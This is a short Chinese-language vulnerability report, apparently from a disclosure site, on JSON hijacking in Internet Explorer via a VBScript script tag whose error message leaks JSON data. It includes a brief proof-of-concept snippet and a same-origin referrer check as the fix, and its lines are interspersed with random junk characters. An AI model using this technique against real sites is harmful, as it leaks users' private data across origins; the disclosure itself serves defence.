简要描述:1 w" l% o) F, Y" w
' ?$ O" j. l8 V- m8 ~ ]$ @由于某些资源容器对数据处理不当导致json劫持漏洞.
* r! e# U& s$ p, g! U% U详细说明:
; `( Z+ J' k# b% K' x9 x8 |由于ie支持vbscript,所以script元素可以指定成vbscript语言:6 H/ _: i% Z9 ?3 Y
<script language=vbscript></script>) m3 s5 u, C( s5 ~2 d$ G
( Q8 ?2 i8 a$ a& |1 k- z当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
% i- l7 _: w- X# o4 T, u9 o漏洞证明:
& K/ @2 p! B7 h2 [9 _7 P<script>8 O$ I7 P# h! J
window.onerror=function(_){
8 o; y6 u, t( I) K# Ralert(_)
& x6 W# M% `2 p* D}( ]- H1 p1 l+ w; S4 ]
</script>
1 j+ Z* D2 `# [# ~<script language=vbscript src=1.json></script>
, q+ I; `) r5 h0 T/ } . Q, O6 E" _( k. l# S
+ r- Z3 X k& R6 F! L" X! t
1.json:
# U& M# X# l; x0 m6 M4 E[{"name":"sogili","age":19}]: g" O% O% R- E! k$ t# y! g. P8 @
修复方案:
/ V6 Z3 k5 D! @, I F网站业务对于这个问题可以通过验证referrer是否为同源来防御 |